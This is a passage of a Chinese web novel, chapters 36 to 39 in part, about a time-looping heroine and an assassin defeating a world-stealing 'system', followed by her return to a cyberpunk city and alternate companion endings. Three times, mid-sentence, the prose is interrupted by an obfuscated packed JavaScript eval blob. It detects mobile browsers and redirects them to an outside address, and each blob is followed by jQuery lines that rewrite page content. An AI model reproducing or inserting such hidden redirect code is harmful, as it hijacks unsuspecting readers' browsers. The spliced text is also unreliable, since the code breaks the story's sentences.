蛋糕体之间细腻的慕斯,离我的舌尖是那么近。我很确信,等她咽下最后一口气的那一秒,一个该死的障碍物被扫除,我也能口尝到前所未有的美味。
但是,恼人的是,她不愿意束手就擒。身下的人不知道从哪抽出一把匕首,毫不犹豫地朝我的颈动脉扎来,显然是我不松手就要同归于尽的意思。
真是……烦人啊。
我从来没在乎过杀人时产生的食欲,只把它当做添头。直到今天,这种感觉前所未有地明显强烈,险些打碎了我的平静。
说到这儿,你或多或少能理解我对她的想法了。
此时,我真心实意地希望她死,最好还是在我手里。她是一个阻碍,一个变数,一个敌手,一……
一块闻上去很好吃的水果戚风蛋糕。
*
伊斯特·摩根那可能疯了。
近乎容忍地接过她带来的畅销小说时,我这样想到。
我也不知道为什么真的同意了她的提议,肯定不是因为那个“死了会重来”的无赖威胁——就算她所说为真,想让一个人失去行动能力、却百般绝望地活着,我也有的是办法。或许,我是在好奇对她那些没有根据的情感从何而来。
不管怎么样,也是时候该结束了。我这样想着,顺手翻开第一页。
字里行间是断断续续的圈划,而且,我一眼就意识到,倘若把她打了着重号的单词连在一起,能够成隐藏的段落。
怪不得要选用一本通俗小说,是为了语义丰富性吧?影耀会就是这么传递隐藏信息的……对我了解很深,才会采取这种方法。
虽然有一些不连贯,也有一些单词是由多个字母拼接而成的,但不影响阅读。我把她想说的话挑出来,整理少许,然后读了一遍:
【我经历了很多遍循环,在一个自称‘系统’存在的要求下,攻略不同角色,让他们爱上我。它做这一切另有所图,我怀疑,是想窃取你们世界的存在根基,也就是十五年前你亲眼所见的碎片。从目前来看,它们似乎是源质。】
【就差你一个人,它就可以得偿所愿。要我说,在那之后,你们世界的下场大概不会好。它共享我的视野和听觉,不能当面告诉你。愿意合作阻止它的话,就假装逐渐喜欢上我。】
……真是太荒谬了。
诚然,这段话似乎解释了她身上的所有疑点,但只是似然率罢了,不代表它为真的概率有多高。
然而,我并不打算冒这个险。如果她嘴里的’系统‘真的成功了,这个世界一朝崩塌,我前半生的辛苦攀登又有什么意义?
大不了,就是和她合作而已。如果她在骗我,或早或晚会露出破绽。
然后,我会让她后悔。
*
出乎意料的是,随着她想方设法传递而来的隐藏信息越来越多,这件事竟然真的越来越自圆其说。
但这并不代表她不烦人了。
一开始,我还本着事关重大的原则,一个一个亲手把她的密文和密码本——那本小说——对照。
我向来是个很平静、很讲理的人,但差点撕烂了那只剪纸蝴蝶,也没对完它翅膀上的挖空后,我就把这件事交给了信任的属下。
拉长石看上去被折磨得够呛。我好心地告诉她,可以把账算在伊斯特·摩根那身上。拉长石不太懂黑色幽默,第一反应是问我要除掉这个人吗。我只好说不用,再次被迫强调了一遍谁也别动她。
拉长石随即问道,那是要保护她吗?
这句话把我恶心得不行。当场拒绝的句子涌到唇边,我记起来面前的属下思维格外直来直去,说不准会怎么理解。于是,我只好忍了忍,告诉拉长石,伊斯特·摩根那目前还不能死。
陆陆续续几次包含索引信息的“礼物”后,我们逐渐有了计划。
她看见的、听见的会被系统知道,所以当面时,我们用另一种方式交流。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886457|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她提出了很多让人更想杀她的要求。比如说,她给了我一份名单,告诉我在最后的舞台上,要聚集这八个人。仔细一看,这里面有人身份显赫到连我都很难请来。
再比如说,在那份完全不配被称作乐谱、只是写在五线谱上的密文里,她说,想要走到最后一步,让系统松懈警惕,我要先达成和她的“happy ending” 。
我对此表达了不接受。在下次的所谓约会中,我们并排坐着。她有一搭没一搭地说着没营养的废话,转移系统的注意力。我在身后握住她的手,在那只手心写到:
【没有别的办法吗?按你所说,HE要的是对你的爱,以及信赖。我没有这种东西。】
【噢,痛。】都这种时候了,她还有心情开玩笑,伊斯特·摩根那另一个让人不爽的特质,【那我能怎么办呢?】
她突然凑近了,没背在身后的那只手捞过我的发梢,绕在指间把玩。在沉默的杀意下,我又能感觉到隐隐约约的奶油香气。每一次用意志力克制自己不去动手后,它都更加好闻,更加迷人。
“你也很为我着迷吧!”她嘴上开口时,说的是老土又愚蠢的套话。
与此同时,身后的那只手在我腕间写道:【想办法找个催眠师什么的,或者努努力,真的爱上我。有志者事竟成嘛。】
那次之后,我开始想办法解决这个可笑的问题。我让手下去找全帝国最擅长植入心理暗示、并且有家人可以用来威胁的人,然后带到我面前。等了一段时间,也不见成果。于是,鬼使神差地,我觉得试试第二种办法也行。
我一个人坐在屋里,熄了灯,闭上眼睛,告诉自己:认真想想看,如果真的有哪个耳目不聪的人爱上伊斯特·摩根那,会是因为什么?
或许,她有一副迷人的神情,总是满不在意的样子,不论多么臃重、多么顽固的约束,都没法拴住她。牵起她的手时,好像一个逃离现实的缺口。
又或许,是那种做事做绝的行事方针。她从不留手,不论对别人还是自己;平时冷静理智,关键时刻却总显露出一种决绝又疯狂的赌性。
还有可能是她的反差感。她开口时总是气声温柔、语调亲和,可是只要表皮稍微一裂,就能从中看到浑然天成的冷漠和利己。
想到这儿,我突然意识到,她和我的秉性非常合得来,或许这就是我忍让了她这么久的原因。
她不是无可救药,正相反,如若她是我的人,很多事情都会顺利很多、省心很多。要是她顺从地伏在我身前,我或许会允许她接着说那些轻狂、傲慢、不合时宜的话。
敲门声打断了我的沉思。我睁开眼睛,惊讶地发现自己舌尖又萦绕起那种蛋糕的鲜甜。
可是我明明没有对她产生杀意。
正相反,我刚刚觉得她这个人——
我不去想了,心不在焉地说了一声“进”,拉长石带着过时的好消息来了:“您之前说的,催眠方面的专家,找到了,还要带过来吗?”
要吗?
“让人在外面候着,等我叫他了,再带进来,还有,”我顿了顿,“……先给我买一块有水果的戚风蛋糕来。”
*
我安静地立在幕布后面。
这是个常用的思维惯性:你和另一人同行,中途另一人不走了,你便觉得你的目的地不会有他。很简单,也很好用。
和她分开之后,我绕了个弯,从演职人员通道走到了舞台上,听她和那个系统一来一回地对峙。
伊斯特·摩根那这个人,思维太跳脱了。褒义来说,需要足够灵活的脑子,才能跟上她的逻辑。贬义来说,她这说一段、那说一段时,常常让人感觉莫名其妙。
那个系统很明显不是足够聪明,或者足够灵活的类型。直到最后,它才意识到,她知道了什么。
这时候,讨人厌小姐叫我登场了。
我面前的幕帘波荡开层层褶皱,隔着天鹅绒,我听见她带着笑的嗓音:“你一点都不想掀开看看吗?”
好吧,毕竟是合作,再容忍她一次吧。我一拉绳子,幕布缓缓向两侧分开,配合了她昨天晚上在我手心反复写着求了好几遍的“节目效果”。
我看到了那个系统的真貌,很新奇的光球,此刻好像有些惊慌了:“等等,奥妮克丝怎么在这儿!发生什么事了!”
这样吵闹的东西在她脑子里呆了很多年吗?真是可怜又活该。
我没说话。她倒是很得意的样子,“看不出来吧!奥妮克丝已经是我忠实地盟友啦!”
谁是你盟友。合作伙伴这个词是不会拼吗。
那个光球转向了我:“判定不会出错的!既然判她成功了,那你就会听她的话!你不要再过来了——”
我袖着双手,悠悠走到了它跟前。不用照镜子,我也知道,自己脸上微笑的弧度完美无瑕。
“话虽如此,现在在说话的,是你,而不是她啊……”
我说着,五指成刀,猛地扎进那个光球表面。
37. 第 37 章
光球波动了一下,接着,从奥妮克丝指尖扎入的那个裂口开始,一道红色的表面凭空展开,覆盖了整个球体,好像防火墙在工作。
奥妮克丝退了半步,侧过头,看向伊斯特。
防火墙全部展开之时,系统的声音也高高在上地响起:“太天真了,我已经获得了除她之外所有的源质。以一己之力对抗我,又有什么用?”
“更何况,就算她成功了,又能怎么样?难不成打碎我?”系统发出一声没有音调的“呵”,“源质已经被我得到了,怎么会再还回去?”
“我们一个问题一个问题看。首先,真的是除了她以外的所有吗?”
“要不然呢?”系统毫无波澜,“你现在变出第十个源质载体?”
“你可以先阐述一下,接管我的身体之后,获取源质的具体步骤吗?”伊斯特勤学好问。
“?”可能是为了让她快点死心,系统愣了一下 ,竟然开始解释了,“首先,和你之前说的一样,只要你意识足够虚弱,AI就可以接管你的身体了。”
“哈哈,但是每次非成功时的结束循环都要让我真的死一次,你真行。”
“……其次,接管之后,AI会模拟你的言行举止,但是最高指令是让被攻略对象服从它的要求,进行一系列行为,从而把源质转移到你身上。”
“但是现在不在我身上了?否则你也不会腆着个脸在这儿大放厥词。”
“现在和我在一起。”系统警惕地说,“当然不会给你这个机会拿到。”
伊斯特和奥妮克丝交换了一个眼神。
“也就是说,”伊斯特怜悯地看着那个光球,“为了承载那些源质,出现在我们面前的你现在是一个实体,而非投影。”
“对,怎么——”
伊斯特抄起椅子就砸了上去。
防火墙发出了噼里啪啦的受击声。在两双眼睛的注视下,产生一道浅浅的白印。
“都说了不可能靠一己之力对抗我!”系统有些恼怒地震声道,“干什么呢!”
“总要试试嘛……”伊斯特不无遗憾地放下椅子,发现她太过用力,砸断了一条椅子腿;立不住的椅子吱呀一声,栽倒在地面上,“现在我们回到你到底有几个源质的问题上。”
“九减一不等于八吗?你问她,”系统连电子音都听上去耐心快告竭了,“刚刚动手的时候,是不是感受到威力只有我的八分之一。”
奥妮克丝依旧袖着手,半点也看不出刚刚的突然暴起:“差距悬殊。”
“但是但是但是——”伊斯特拖长尾音,“一比七不也是悬殊吗?”
系统只是一个光球,但看上去俨然就是想发一个问号的样子:“?”
“仔细思考所有周目,你难道就不能发现一个例外吗?”
伊斯特说着,脸上露出半个笑,眼角却微微垂了下去。她浑然不觉自己的神情变化,只是转头,向奥妮克丝开口:“汤珀森·北科曼来了吧?”
“在后台,”奥妮克丝冷静地问,“现在需要他?”
“叫他过来一下,我们或许就能从1v7变成2v7啦!”伊斯特笑眯眯地活动了一下胳膊,“再加上那七个源质选中的人,此刻全部等在不远的后台,和磁铁一样,把系统吞掉的源质往外吸引……要我看,赢面还是很大的。”
源质本质上是这个世界的基础力量之一吧,十五年前能选中这群人,十五年后就还会偏好他们——尤其是和一个系统相比的时候。
*
好久没见到这张脸了。
二周目以后,她一直在有意识地躲着汤珀森。过了这么久,她总觉得那些记忆都淡忘得差不多了;但那双暖棕色的眼睛望向她的时候,一切又好像从来没变过。
几乎是二人视线相交的下一瞬,汤珀森就脱口而出了她的名字。
“伊斯特?”他好像才重获对自己嗓音的控制权,有些迷茫地眨了眨眼,“对不起,我也不知道是怎么回事……我们……我们见过吗?”
果然如此。
别的时候,她都是一成功,就想办法离开,找地方一个人自杀……只有二周目,她和汤珀森共度了余生,在对方眼前耗尽寿数。
她死的下一瞬,他就在床边殉情了吧?
真是乱来,不过,也多亏了他的任性……
系统的AI再厉害,也没法从尸体身上骗走源质啊。
伊斯特笑了。“……没有。”她温声说道,“但是我需要你帮我一个忙。”
“好的!”他甚至不问要做什么。
“看到了吗?”伊斯特转向光球,“他这副反应,我们两都不是第一次见了。四周目的洛兰特这样,五周目就不了——因为我在四周目攻略了他,你取走了他的源质。”
她一边平静地分析,一边向前迈了一步,凑近系统,“现在看来,应对你这种病毒带来的循环,源质可以建立一定的抵抗力,就反应在潜意识还留有以前周目的印象吧?”
“等等!”系统一下子失去了稳操胜券的样子,“我们可以商量!”
“你的牌都出完了。”伊斯特懒洋洋地指出。
“你有想过具体怎么把你送回原世界吗!”系统声嘶力竭。
伊斯特愣了一下。她还真没想过。
“又不是开个传送门就好了的事!”系统越说越有底气,“首先,把你送过来的时候能量耗尽了,集齐这里的力量——也就是这个世界的所有源质——我才能把你送回去。”
“但是不是耗尽,只是集齐并借用?”伊斯特敏锐地察觉到,“否则把我送回去就意味着你这一趟全白费了。”
“对,你能不能听我说完!第二条原因才是你应该选择我,而不是这群人和这个世界的原因。”
“稍等一下,”伊斯特往旁边退了两步,离奥妮克丝远了一点,以防她真的要选系统,“继续吧。”
奥妮克丝没什么表情地瞥了她一眼,没说话。估计是看出来了,她们俩性格里有些部分还挺像的……
“其次!”系统语气激昂了起来,“把你送回去,本质上是一种传输的过程。你是一个脆弱的肉体凡胎,要在外面给你包裹一层……类似于细胞膜的东西,否则你会死在半路。”
“?你多强韧吗,有本事和我回我老家比划比划。”
“我说这段话不是为了冒犯你,”系统郑重其事地打断她,“我的意思是,把你送回去时,细胞膜会和你一起抵达,留在你原来的世界。”
它不用换气,所以伊斯特觉得系统这里的停顿估计是为了表达效果,“我知道你在考虑背刺我,最后让他们帮你回去。但是有了这个前提就不一样了:帮你一把是顺手之劳,冒着要被迫穿越到一个陌生世界、有去无回的风险,还有谁愿意?毫无疑问,只有我能担任这个角色。”
伊斯特大概理解了系统的意思,她正要思考可行方案,突然意识到哪里不对。
“等等,你本来的打算是留在我的世界吗?”
系统好像没想到她会这么问,卡了一下才回答:“积聚足够的能量后,我可能会离开。”
“我先前一直在思考,你这样无利不起早,为什么会好心把我送回去……”伊斯特恍然大悟,“原来是一举两得,你觊觎我老家世界!”
“不是你想的那样,和对这个世界的构思不同,我不会把它拆成碎片——”
伊斯特抄起椅子就砸了上去:“我■!滚!”
和先前发泄一样的随手一砸不同,她这次动手时发狠了,气得眼眶圆瞪、咬牙切齿,一边用全身力气、一下又一下地抡圆椅子,一边在飞扬的木屑和尘土中用最响的嗓音辱骂系统:
“你去死吧!你知道我熬了多久才做到公司中层吗!你知道我做了多少脏活累活才有机会被提拔上管理岗吗!谁给你的胆子想动我的原世界!这么多年我好不容易
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886458|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快混出头了!我落魄的时候你怎么不来毁灭世界!我好不容易升职了!管理岗啊!你知道公司的管理岗什么概念吗!你去死吧!”
系统固然被砸不出什么本质伤害,这么多下也受不了。然而它不舍得近在眼前的源质,没有逃跑,只是试图闪开她接连不断的攻击。
一只素白的手拦住了她。
“怎么了?”伊斯特双目充血地回头,“你拦我干什么?”
“别浪费体力了。”奥妮克丝握住她的手腕。熟悉的、不可描述的感觉卷过她的神魂。
过去,在攻略对象对她敞开心扉,也就是系统判断HE的那一刻,总有类似的奇特感觉;现在,她终于明白那是什么了——源质寄寓在他们身上,而他们向她敞开;那么这短暂的片刻,她就能感受,窃取,诓骗,或者运用这其中的力量。
“抓紧时间,”奥妮克丝露出一个微笑,“把它毁了,一了百了。”
伊斯特平静了下来。她最后、深深地打量了一眼系统。
她又不是一个有良心、在乎别的世界存亡的人。一开始有任务直说的话,她可能都完成了,非要藏头藏尾地利用她……
“我跟你说过的对吧,”她盯着开始仓皇逃窜、却被汤珀森困住的光球,温声笑道,“我脾气很好,因为我有仇从来不会拖。”
现在,她偏偏要逆着来。
“你简直像我原来的领导,他生前也这样。”
伊斯特十指扣住光球,死死地收紧,指尖嵌进了它的外壳,掐出一道又一道明显的裂痕。
“别误会,很遗憾,不过不是我杀的。”
她五指成拳,上半身侧转半圈,腰、肩、肘抡成一条弧线,狠狠地砸进了系统核心。
“也算谢谢你,给我这个机会弥补遗憾了。”
最后一下声响,是系统发出来的。
不论再高科技的东西,实体碎掉的时候,都是悦耳的咔嚓一声。
*
伊斯特坐在一片狼藉的舞台上,单手托腮,百无聊赖地丢地上的碎石玩。看到来人,她没费劲站起来,只是懒洋洋地抬起眼。
“你们拿到了吗?”她开门见山,“没有的话……我会很生气的。”
“孤身一人,无法复活,还真敢放狠话啊。”奥妮克丝靠近了些,微笑一如既往,只是带了些交涉后的疲惫,“这么想来,告诉你没有,诱导你和我拼命,然后在搏斗中失手杀了你,似乎也很理想。”
“听描述就是有哦,”伊斯特肉眼可见地心情变好了,语速快得几乎听不清,“好啦我准备好了送我回去吧。”
奥妮克丝站在原地,极其缓慢地、从上到下打量了她一遍,然后笑了。
“真应该把你钉在我的壁炉旁。”
伊斯特猛地后退两步:“……不是吧,你们不会……”
“所有人都记起来了。”奥妮克丝很明显从她的慌张中得到了愉悦,“包括精神状态有问题的,被你两头骗的,以及地位显赫但惊讶地发现自己不过是你众多情人中的一个的。”
救命啊!!!
伊斯特下意识地站起身,开始找最近的出口。
“你要跑去哪?”奥妮克丝越说心情越好了,“你不想回去了?”
真是遭报应啊……“怎么说,你们能开传送门吗?怎么处理那个细胞膜的问题?”
“前者,可以。后者,也问题不大,根据我们的猜测,在合力把你送回去的时候,大概会有一个人撞破两个世界的边界,和你一起掉进去。”
“……谁啊?”
“别担心,随机的,我们也控制不了。有的人特别希望是自己,比如……我就不点名了,你应该很清楚;也有的人特别不希望是自己,比如我。”
奥妮克丝说着,示意她跟上:“走吧,门已经开好了。”
伊斯特长出一口气,迈开回原世界的步子。
她终于做到了。
38. 第 38 章
以斯帖靠在浮空货车的装甲板上,指尖无意识地划过颈侧的数据接口。夜风从荒漠吹来,带着辐射尘的粗砺感,扬起她束在脑后的长发。
“快到了。”同事的声音从车厢另一侧传来,带着电磁过滤后的轻微杂音,“你最好别是在发呆。”
“我在想回去之后去哪儿喝酒,”以斯帖没转头,目光越过锈迹斑斑的铁丝网,投向远方地平线,“夜店已经不想去了啊。”
“分个手矫情成这样,”同事评价道,“爱去不去,说好的请客别反悔,酒钱打我账户上。”
“说真的,我短期内不想恋爱了。一场都不想谈,亲密关系好累。”
以斯帖说着,视线懒散地笼着目的地。在前方,夜之城像一颗病变的心脏,在黑暗里搏动。
摩天楼的霓虹广告刺破夜空,全息投影的艺伎在高空缓慢眨眼。更低的空中,浮空车拖着流光尾迹在楼宇间穿梭,如同血管中疾驰的血细胞。
即使隔着几十公里,她总感觉自己依旧能听见城市的轰鸣。远远投来的光影如此美丽,带毒,又令人上瘾。整个夜之城就是慢性毒品。
他们全速前进,把城外缓冲区抛在脑后,驶离风声和被遗忘的寂静。
“货物扫描完成。”同事的声音在通讯频道里响起,“三辆货车,十二个冷藏箱,生物制剂。标准护送协议。做好准备,这里适合拦路。”
以斯帖轻轻敲击太阳穴,视野左上角浮现出淡蓝色的状态栏:【入侵协议就绪】【运动协调增强加载】。她的植入体是最新款,漆黑色的接线从后颈延伸至脊椎,在皮下微微发烫。
“有动静。”同事突然低声说。
以斯帖收回视线,活动了一下手腕。她的听觉增强器同样捕捉到了:轮胎碾过碎石的摩擦声,至少三个来源,从东侧废弃物流中心靠近。
“热信号五人。”同事从背后取下那把改装过的突击步枪,枪身上的战术灯自动亮起,“标准伏击阵型。蠢货,抢到公司头上了。”
“别骂他们呀,有梦想谁都了不起。”
以斯帖话音未落,人已经滑入货车阴影中。单分子线从她右手腕部的发射器抽出,在月光下几乎看不见,只有空气被切割的细微嘶响。那是一根长两米、直径仅分子级别的单晶结构线,轻轻一碰就能切开装甲。
“黑入通讯中。”她轻声说,瞳孔深处闪过数据流的微光。
五个红色标记在移动,每个旁边浮现出简陋的数据框:【未知型号冲锋枪】【螳螂刀改装体】【未联网武器】……她锁定那个唯一带有数据接口的信号源。
【入侵协议启动】
【绕行防火墙……检测到初级加密……已破解】
耳边突然炸开混乱的对话:
“——看到两名人形,车厢后——”
“——等他们下车再——”
“——生物制剂能卖多少——”
以斯帖嘴角微扬。回家前活动活动筋骨也是好的。
她选择了最简单的干扰协议:【音频回路过载】。
废弃物流中心方向突然传来刺耳的啸叫,伴随着痛呼和惊叫。
“现在。”她说。
同事率先冲出,步枪三点射打在掩体上方,压制火力。以斯帖向左翼疾奔,运动增强器让她的速度超出常人认知,像一道捉不住的影子。
第一个敌人刚从掩体探头,神经就被她入侵了。视野突然模糊成马赛克方块,他甚至没来得及惊呼,单分子线已经绕颈一周。
没有鲜血喷溅。线太细了,切口要半秒后才开始渗血。那人茫然地抬手摸脖子,头颅却缓缓滑落。
以斯帖已经不在原地。
第二个敌人装备着螳螂刀,银色的刀刃从前臂弹出。他越过同伴的尸体,扑了上来,双刃交叉斩切。
太慢了。
以斯帖侧身,刀刃擦过她的风衣,切开织物却碰不到皮肤。与此同时,她的左手按在了对方肩部的数据端口上——一个粗劣的街头改装接口,连基础防火墙都没有。
没钱升级吗?真可怜。
【可用快速破解:就绪。】
【强制定向信号传输——突触熔融】
【强制定向信号传输——义体故障】
螳螂刀男人的四肢突然痉挛。他眼睁睁看着自己的右臂不受控制地回转,刀刃刺入自己的左腹。惊骇的表情凝固在脸上,他倒下了。
“左侧清除。”以斯帖平静地知会一声,转身滑入另一方战场。
这里枪声密集。同事利用货车间隙作为掩体,点射压制着剩余三人的火力。她回到车上,着手远程侵入他们的枪。
一时间战局僵持不下,对面传来夹杂着脏话的骂声:“公司狗!不得好死!”
以斯帖脸上扬起明快的笑容:“客气了!”
“这是蔑称啊,”同事腾出手,取了第二把枪,“你能不能正常一点……两秒?”
“三秒。”
其中两人的智能步枪突然卡壳——以斯帖远程干扰了它们的瞄准芯片。
几乎就在同时,原本只是压制的火力转守为攻。同事探出身子,快速扣动几下扳机;三秒之内,七八枚子弹飞射
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886459|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而出,每枚都精准地扎入对面某处肉.体。
仅剩的那个活人开始后撤。
以斯帖从阴影中现身,单分子线在双手间拉成一道死亡的琴弦。她冲向最近持枪者,那人在慌乱中扫射。
子弹大部分打在空处,少数叫她低低地嘶了一声。伤势不影响行动。线缠上枪管,轻轻一拉——枪械被切成两段,连带三根手指。
惨叫声中,以斯帖的膝击撞碎对方胸骨。
“谁派你们来的?”她温声问,“中间人又是谁?”
男人啐出一口血沫,骂着断断续续的脏话。
以斯帖笑着叹了口气,线轻轻一划,把对方的武器和行动能力一起废掉了。她把人击晕,绑了几圈,往下来打扫战场的同事那里一送手。
“怎么说也是运输路线泄露了……你顺道带回去送给保安部吧?”
“去你的,一朝升迁了就把杂活丢给我做?”
“说话礼貌一点嘛,我以后转管理岗了还可以罩你呢。”以斯帖头也没回,“顺便一提,我要是死了这个位置会空降人下来哦,所以杀我也没用。”
同事啧了一声,松开了尸体边的枪。
以斯帖收回单分子线,线体自动清洁缩回发射器。她望向远处,夜之城的霓虹依旧闪烁,如同永不闭合的眼睛。
“不是压榨你啦,但是我着急回去看车呢,”她愉快地解释道,“所以在我去买浮空车的时候麻烦你自己去登记入库呗。”
同事的回应是一句骂人的话。
两人回到货车,引擎重新启动。货车驶向霓虹,将荒漠与死亡抛在身后。
啊,市区,美好的,吃人不吐骨头的市区。
从明天开始,她就是吃人的那一方了。
以斯帖心情前所未有地轻松愉快,连家都没回,处理了一下枪伤,就悠哉悠哉地走上主路,打算去买车。
就在这时,她动作停滞了一瞬。
明明只是一呼一吸,对她来说,好像有几十年那样漫长。
再睁开眼睛的时候,以斯帖,或者说伊斯特,精疲力尽地长出一口气,不可置信地打量四周,然后狠狠掐了自己一下。
“我回来了?!”她狂喜地大喊,“我■!夜之城!我■!我想死你了!”
有人在路上突然发疯并不奇怪,甚至没几个路人回头看她。
“等等,我回来了,也就是说……”
以斯帖回过头去,不出意外地看见,街道上凭空出现了一个熟悉的人影。
她好笑地呼出口气来。
“是你啊。”
39. 第 39 章
srand(time(NULL));
int the_one_she_sees = rand() % 9;
一个简单的随机数问题,不是吗?
她眼中所见之人是谁?
*
珈黛利亚的场合:
“是我,”珈黛利亚双目晶亮地笑了,上前两步,挽住她的胳膊,整个人几乎绞缠在她身上,“我就知道会是我。”
“要不然,我绝对不会答应放你走的。但是他们说会有一个人陪你回来,我就知道,那必然是我——因为只有我爱你,只有我无条件地爱你,只有我对你的感情强烈到灼痛又沉重。”
“只有我,只有我是你命定的爱人。我的生命线与你的相遇,而后交缠,扭曲,重叠。”
以斯帖揉了揉太阳穴。
自己一个字没来得及说呢,被迫先听了一长串重力系发言啊……又不能现在把小姑娘丢街上,那成什么了?遗弃小猫吗那不是。
“你先停停,”她一边说,一边在视野里输入搜索关键词,“过两天我带你去见个人啊。”
【“心理医生”的搜索结果如下:(1739条结果)】
*
捷柯的场合:
黑发红眼的男人扫视了一圈,视线落在她身上。
“是我。”捷柯唇角勾起一个笑,“这么看来,我是最适合陪你回来的。”
“何出此言呢?”
“你袖口上那是血吧?”青年很自然地迈开腿,走在她身旁,“来之前在杀人啊。”
“就你聪明。”以斯帖翻了个白眼,把风衣脱了下来,一把甩到捷柯身上,“披件正常人的衣服,别跟要去漫展似的。”
她看着面前的人,想了想,还是问出了口:
“你花一辈子往上爬,和我过来不就前功尽弃了吗?你舍得?”
“有什么舍不得的,换个地方我一样能做好。”
他笑了起来,那种昭昭的气盛感满溢而出。
“再说了,你在这儿,那两个世界中最合我眼缘的人就在这里。”
*
洛兰特的场合:
“是你啊。”以斯帖叹了口气。
金发蓝眼的男人点了点头,好像在赞同——这种描述有什么好赞同的啊!
“我是折磨过你,但是你在此之前也给我带来了麻烦,浪费我时间和进度……”以斯帖指尖伸入发丝间,揉乱了一头长发,“我们打个商量,两不相欠?”
洛兰特的第一反应完全符合她对这人的刻板印象。
“对不起。”他真诚道歉,不敢直视她,眼底像一片飘忽不定的天空,歉疚自责得云中积雨,“我没想耽误你……”
那能怎么办?他都这样了她还能骂他吗?
“行啦,就这样吧。”以斯帖无奈地叫停了他的反省,“事已至此,你先把这身打扮脱了,我们去买点不那么显眼的衣服。”
她说着,很自然地把洛兰特拽着走起来了,“我跟你说,别在这里乱管闲事啊。就算在路边看到濒死的人,你也要学会见死不救。”
“我……”
以斯帖太熟悉那副神情了,这完全就是他不听人话时候的样子:“你什么你,既然学不会,你以后别一个人出门了。有什么事都叫我一起,听到没有?”
湛蓝的天空放晴了。
*
曼德琳的场合:
“这是哪里?”女人惊异地瞪大了双眼,被浮空车拖行的尾迹所震撼地一动不动,“……那是魔法吗?”
“是比魔法好得多的东西!”以斯帖笑眯眯地揽住她的肩膀,不着痕迹地把人拽到人行道内侧,“欢迎来到我老家,只要有钱,这里还是很好玩的。”
“你运气很好,我未来估计还是算比较有钱的……至少养一个你不成问题啦。”
“走吧,”她牵起曼德琳的手,“虽然这里没有海,我会尽力补偿你的。”
曼德琳侧过头,安静地望着她,露出一个恬静的微笑。
“那句话本来就是譬喻意象啊……”
相拥在一起时,以斯帖感觉怀里的人前所未有地放松下来了。曼德琳把头埋在她肩膀上,轻声解释道:
“……只要和你在一起,就叫我的心如一片放荡不羁的海般自由了。”
*
墨菲的场合:
墨菲站在她面前,眨了眨眼,好像自己也没想到会出现在这里。
“那太好了,”以斯帖喜悦地拽住了他的手腕,“不买车了,你是右利手是吧?走,我们去给你挑狙击枪!”
手不能动的情况下,墨菲完完全全就是个哑巴;他也没挣脱,只是有些迷茫地跟着她。
“你喜欢什么颜色啊?我同事的枪都用用红蓝配色,丑死了,不允许你用这两种。”
“关于枪械我懂得不多,你自己认真学,到时候刷我的卡换顺手的配件。”
“你熟悉之后就可以开始接任务了,每单我抽百分之十不算多吧!还我的钱不算在里面。”
“你来得太好了,你简直不知道这个世界多适合你……你那嗓子就一个声带重建手术的事,实在不行我们找个义体医生!”
说到这儿,以斯帖才意识到没给他留回答的空隙。她松开手,转向墨菲,脸上的笑依旧明亮:“你怎么看呀?”
明明有很多要问的吧?不说这是哪里,她刚刚说的话里,少说有十几个词他听不懂……但墨菲抬起手的时候,只打了几个手势。
『好,』他歪了歪头,『都听你的。』
*
奥妮克丝的场合:
奥妮克丝看着她,脸上什么表情也没有。
“……九分之一的概率,”圣女的嗓音还是平静又轻柔,她却不知为何听出了一些咬牙切齿,“也能叫我抽到?”
“这个不怪我啊,”以斯帖抓紧时间澄清,“这又不是说我有选择权什么的,不然我也不会选您老人家这么麻烦的角色。”
“我的计划都做好了。”奥妮克丝一词一顿地冷笑道,“虽然身份为人所知,但我手上的把柄更多;再者,送你回来之前,我和他们已然谈好条件。往后,我只会一路攀升。”
“本来,”以斯帖老实地纠正,“本来只会一路攀升。”
奥妮克丝一巴掌扇她胳膊上了。看得出用了全力,因为对方被反作用力冲得嘶了一声。
“疼不疼啊?”以斯帖关切地把那只手揽了过来,揉了揉,“我这可是公司义体。”
“我恨你。我恨死你了。你怎么不死。”
“行行行,好好好,恨恨恨。”以斯帖叹了口气,“要不这样,我提前打麻醉的情况下,你每周可以拿刀捅我一次?”
“不要麻醉。”
“我真是倒了八辈子霉接回来你这个祖宗。”
漂亮的烟蓝色眼睛看着她。<
